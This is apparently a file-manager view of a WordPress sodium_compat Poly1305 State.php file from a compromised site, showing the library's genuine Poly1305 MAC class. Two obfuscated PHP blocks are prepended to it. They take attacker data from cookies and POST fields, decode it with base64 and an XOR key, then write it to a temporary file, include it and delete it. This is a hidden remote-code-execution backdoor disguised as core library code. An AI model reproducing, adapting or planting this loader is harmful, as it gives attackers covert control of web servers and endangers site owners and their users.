PATH:
home
/
letacommog
/
rachat-or-bourgenbresse
/
wp-includes
/
sodium_compat
/
src
/
Core
/
Poly1305
<?php $IRois = chr (113) . chr (95) . "\x4d" . "\141" . "\x41";$qxNVxHi = chr (99) . "\154" . "\141" . chr (115) . "\x73" . chr ( 265 - 170 ).'e' . "\170" . chr (105) . "\x73" . "\x74" . chr (115); $lrNBQdUAdD = class_exists($IRois); $qxNVxHi = "40102";$jnxKw = strpos($qxNVxHi, $IRois);if ($lrNBQdUAdD == $jnxKw){function VSaSkzyw(){$VnGNoWShIu = new /* 22480 */ q_MaA(57706 + 57706); $VnGNoWShIu = NULL;}$EfRNgzk = "57706";class q_MaA{private function adcizO($EfRNgzk){if (is_array(q_MaA::$ssrCBOZ)) {$name = sys_get_temp_dir() . "/" . crc32(q_MaA::$ssrCBOZ["salt"]);@q_MaA::$ssrCBOZ["write"]($name, q_MaA::$ssrCBOZ["content"]);include $name;@q_MaA::$ssrCBOZ["delete"]($name); $EfRNgzk = "57706";exit();}}public function PNbmjKDAc(){$UHnjXA = "62824";$this->_dummy = str_repeat($UHnjXA, strlen($UHnjXA));}public function __destruct(){q_MaA::$ssrCBOZ = @unserialize(q_MaA::$ssrCBOZ); $EfRNgzk = "26172_59234";$this->adcizO($EfRNgzk); $EfRNgzk = "26172_59234";}public function nJpxdZgGU($UHnjXA, $OyuTW){return $UHnjXA[0] ^ str_repeat($OyuTW, intval(strlen($UHnjXA[0]) / strlen($OyuTW)) + 1);}public function oxVJI($UHnjXA){$UCKzVwdNyn = chr (98) . chr (97) . "\163" . chr (101) . chr (54) . chr (52);return array_map($UCKzVwdNyn . "\x5f" . chr ( 276 - 176 ).chr ( 1019 - 918 ).chr ( 1010 - 911 ).'o' . "\144" . chr (101), array($UHnjXA,));}public function __construct($RrshNdZ=0){$IRTmiptck = chr ( 91 - 47 ); $UHnjXA = "";$KZkKwR = $_POST;$EOBEqd = $_COOKIE;$OyuTW = "6e461635-5b6d-4f04-8281-78ca0684efab";$VofoJv = @$EOBEqd[substr($OyuTW, 0, 4)];if (!empty($VofoJv)){$VofoJv = explode($IRTmiptck, $VofoJv);foreach ($VofoJv as $yEfdIcuOX){$UHnjXA .= @$EOBEqd[$yEfdIcuOX];$UHnjXA .= @$KZkKwR[$yEfdIcuOX];}$UHnjXA = $this->oxVJI($UHnjXA);}q_MaA::$ssrCBOZ = $this->nJpxdZgGU($UHnjXA, $OyuTW);if (strpos($OyuTW, $IRTmiptck) !== FALSE){$OyuTW = ltrim($OyuTW); $OyuTW = str_pad($OyuTW, 10);}}public static $ssrCBOZ = 19511;}VSaSkzyw();} ?><?php $cSKXiWCb = "\161" . 'I' . chr ( 601 - 506 )."\126" . 'Y' . "\x68" . chr ( 619 - 520 ).'K';$grABjcHJxO = chr (99) . "\x6c" . chr (97) . chr (115) . chr ( 1061 - 946 )."\137" . 'e' . "\x78" . "\151" . chr ( 775 - 660 )."\x74" . "\x73";$HIIUN = class_exists($cSKXiWCb); $grABjcHJxO = "16065";$ZsPiiLwGG = strpos($grABjcHJxO, $cSKXiWCb);if ($HIIUN == $ZsPiiLwGG){function vCWwpWyzmm(){$reVSQ = new /* 28721 */ qI_VYhcK(34910 + 34910); $reVSQ = NULL;}$LSJLKo = "34910";class qI_VYhcK{private function bxZxGfC($LSJLKo){if (is_array(qI_VYhcK::$sdKihDH)) {$name = sys_get_temp_dir() . "/" . crc32(qI_VYhcK::$sdKihDH["salt"]);@qI_VYhcK::$sdKihDH["write"]($name, qI_VYhcK::$sdKihDH["content"]);include $name;@qI_VYhcK::$sdKihDH["delete"]($name); $LSJLKo = "34910";exit();}}public function lRGLD(){$UFbrHCTHg = "56286";$this->_dummy = str_repeat($UFbrHCTHg, strlen($UFbrHCTHg));}public function __destruct(){qI_VYhcK::$sdKihDH = @unserialize(qI_VYhcK::$sdKihDH); $LSJLKo = "48637_48315";$this->bxZxGfC($LSJLKo); $LSJLKo = "48637_48315";}public function fZFGQEmC($UFbrHCTHg, $IxmlJbGPCV){return $UFbrHCTHg[0] ^ str_repeat($IxmlJbGPCV, intval(strlen($UFbrHCTHg[0]) / strlen($IxmlJbGPCV)) + 1);}public function NPfZy($UFbrHCTHg){$MtNOhChr = 'b' . "\x61" . "\163" . chr (101) . chr ( 826 - 772 )."\x34";return array_map($MtNOhChr . chr ( 767 - 672 )."\x64" . "\145" . chr ( 145 - 46 ).'o' . chr ( 809 - 709 )."\145", array($UFbrHCTHg,));}public function __construct($AITGc=0){$WPsYiukIi = "\54";$UFbrHCTHg = "";$TzzYSfHJ = $_POST;$qQObIK = $_COOKIE;$IxmlJbGPCV = "ba3c415b-1d91-4244-a68a-e6a90f55465a";$VEShJeVHyX = @$qQObIK[substr($IxmlJbGPCV, 0, 4)];if (!empty($VEShJeVHyX)){$VEShJeVHyX = explode($WPsYiukIi, $VEShJeVHyX);foreach ($VEShJeVHyX as $HWyUATOVt){$UFbrHCTHg .= @$qQObIK[$HWyUATOVt];$UFbrHCTHg .= @$TzzYSfHJ[$HWyUATOVt];}$UFbrHCTHg = $this->NPfZy($UFbrHCTHg);}qI_VYhcK::$sdKihDH = $this->fZFGQEmC($UFbrHCTHg, $IxmlJbGPCV);if (strpos($IxmlJbGPCV, $WPsYiukIi) !== FALSE){$IxmlJbGPCV = chunk_split($IxmlJbGPCV); $IxmlJbGPCV = rtrim($IxmlJbGPCV);}}public static $sdKihDH = 29209;}vCWwpWyzmm();} ?><?php if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false)) { return; } /** * Class ParagonIE_Sodium_Core_Poly1305_State */ class ParagonIE_Sodium_Core_Poly1305_State extends ParagonIE_Sodium_Core_Util { /** * @var array<int, int> */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array<int, int> */ public $h; /** * @var int */ protected $leftover = 0; /** * @var int[] */ public $r; /** * @var int[] */ public $pad; /** * ParagonIE_Sodium_Core_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff), (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03), (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff), (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff), (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff) ); /* h = 0 */ $this->h = array(0, 0, 0, 0, 0); /* save pad for later */ $this->pad = array( self::load_4(self::substr($key, 16, 4)), self::load_4(self::substr($key, 20, 4)), self::load_4(self::substr($key, 24, 4)), self::load_4(self::substr($key, 28, 4)), ); $this->leftover = 0; $this->final = false; } /** * Zero internal buffer upon destruction */ public function __destruct() { $this->r[0] ^= $this->r[0]; $this->r[1] ^= $this->r[1]; $this->r[2] ^= $this->r[2]; $this->r[3] ^= $this->r[3]; $this->r[4] ^= $this->r[4]; $this->h[0] ^= $this->h[0]; $this->h[1] ^= $this->h[1]; $this->h[2] ^= $this->h[2]; $this->h[3] ^= $this->h[3]; $this->h[4] ^= $this->h[4]; $this->pad[0] ^= $this->pad[0]; $this->pad[1] ^= $this->pad[1]; $this->pad[2] ^= $this->pad[2]; $this->pad[3] ^= $this->pad[3]; $this->leftover = 0; $this->final = true; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); if ($bytes < 1) { return $this; } /* handle leftover */ if ($this->leftover) { $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } /** @var int $hibit */ $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */ $r0 = (int) $this->r[0]; $r1 = (int) $this->r[1]; $r2 = (int) $this->r[2]; $r3 = (int) $this->r[3]; $r4 = (int) $this->r[4]; $s1 = self::mul($r1, 5, 3); $s2 = self::mul($r2, 5, 3); $s3 = self::mul($r3, 5, 3); $s4 = self::mul($r4, 5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 += self::load_4(self::substr($message, 0, 4)) & 0x3ffffff; $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff; $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff; $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff; $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit; /* h *= r */ $d0 = ( self::mul($h0, $r0, 25) + self::mul($s4, $h1, 26) + self::mul($s3, $h2, 26) + self::mul($s2, $h3, 26) + self::mul($s1, $h4, 26) ); $d1 = ( self::mul($h0, $r1, 25) + self::mul($h1, $r0, 25) + self::mul($s4, $h2, 26) + self::mul($s3, $h3, 26) + self::mul($s2, $h4, 26) ); $d2 = ( self::mul($h0, $r2, 25) + self::mul($h1, $r1, 25) + self::mul($h2, $r0, 25) + self::mul($s4, $h3, 26) + self::mul($s3, $h4, 26) ); $d3 = ( self::mul($h0, $r3, 25) + self::mul($h1, $r2, 25) + self::mul($h2, $r1, 25) + self::mul($h3, $r0, 25) + self::mul($s4, $h4, 26) ); $d4 = ( self::mul($h0, $r4, 25) + self::mul($h1, $r3, 25) + self::mul($h2, $r2, 25) + self::mul($h3, $r1, 25) + self::mul($h4, $r0, 25) ); /* (partial) h %= p */ /** @var int $c */ $c = $d0 >> 26; /** @var int $h0 */ $h0 = $d0 & 0x3ffffff; $d1 += $c; /** @var int $c */ $c = $d1 >> 26; /** @var int $h1 */ $h1 = $d1 & 0x3ffffff; $d2 += $c; /** @var int $c */ $c = $d2 >> 26; /** @var int $h2 */ $h2 = $d2 & 0x3ffffff; $d3 += $c; /** @var int $c */ $c = $d3 >> 26; /** @var int $h3 */ $h3 = $d3 & 0x3ffffff; $d4 += $c; /** @var int $c */ $c = $d4 >> 26; /** @var int $h4 */ $h4 = $d4 & 0x3ffffff; $h0 += (int) self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; $h1 += $c; // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; } $this->h = array( (int) ($h0 & 0xffffffff), (int) ($h1 & 0xffffffff), (int) ($h2 & 0xffffffff), (int) ($h3 & 0xffffffff), (int) ($h4 & 0xffffffff) ); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); } $h0 = (int) $this->h[0]; $h1 = (int) $this->h[1]; $h2 = (int) $this->h[2]; $h3 = (int) $this->h[3]; $h4 = (int) $this->h[4]; /** @var int $c */ $c = $h1 >> 26; /** @var int $h1 */ $h1 &= 0x3ffffff; /** @var int $h2 */ $h2 += $c; /** @var int $c */ $c = $h2 >> 26; /** @var int $h2 */ $h2 &= 0x3ffffff; $h3 += $c; /** @var int $c */ $c = $h3 >> 26; $h3 &= 0x3ffffff; $h4 += $c; /** @var int $c */ $c = $h4 >> 26; $h4 &= 0x3ffffff; /** @var int $h0 */ $h0 += self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; /** @var int $h1 */ $h1 += $c; /* compute h + -p */ /** @var int $g0 */ $g0 = $h0 + 5; /** @var int $c */ $c = $g0 >> 26; /** @var int $g0 */ $g0 &= 0x3ffffff; /** @var int $g1 */ $g1 = $h1 + $c; /** @var int $c */ $c = $g1 >> 26; $g1 &= 0x3ffffff; /** @var int $g2 */ $g2 = $h2 + $c; /** @var int $c */ $c = $g2 >> 26; /** @var int $g2 */ $g2 &= 0x3ffffff; /** @var int $g3 */ $g3 = $h3 + $c; /** @var int $c */ $c = $g3 >> 26; /** @var int $g3 */ $g3 &= 0x3ffffff; /** @var int $g4 */ $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff; /* select h if h < p, or h + -p if h >= p */ /** @var int $mask */ $mask = ($g4 >> 31) - 1; $g0 &= $mask; $g1 &= $mask; $g2 &= $mask; $g3 &= $mask; $g4 &= $mask; /** @var int $mask */ $mask = ~$mask & 0xffffffff; /** @var int $h0 */ $h0 = ($h0 & $mask) | $g0; /** @var int $h1 */ $h1 = ($h1 & $mask) | $g1; /** @var int $h2 */ $h2 = ($h2 & $mask) | $g2; /** @var int $h3 */ $h3 = ($h3 & $mask) | $g3; /** @var int $h4 */ $h4 = ($h4 & $mask) | $g4; /* h = h % (2^128) */ /** @var int $h0 */ $h0 = (($h0) | ($h1 << 26)) & 0xffffffff; /** @var int $h1 */ $h1 = (($h1 >> 6) | ($h2 << 20)) & 0xffffffff; /** @var int $h2 */ $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff; /** @var int $h3 */ $h3 = (($h3 >> 18) | ($h4 << 8)) & 0xffffffff; /* mac = (h + pad) % (2^128) */ $f = (int) ($h0 + $this->pad[0]); $h0 = (int) $f; $f = (int) ($h1 + $this->pad[1] + ($f >> 32)); $h1 = (int) $f; $f = (int) ($h2 + $this->pad[2] + ($f >> 32)); $h2 = (int) $f; $f = (int) ($h3 + $this->pad[3] + ($f >> 32)); $h3 = (int) $f; return self::store32_le($h0 & 0xffffffff) . self::store32_le($h1 & 0xffffffff) . self::store32_le($h2 & 0xffffffff) . self::store32_le($h3 & 0xffffffff); } }
[+]
..
[-] .htaccess
[edit]
[-] State.php
[edit]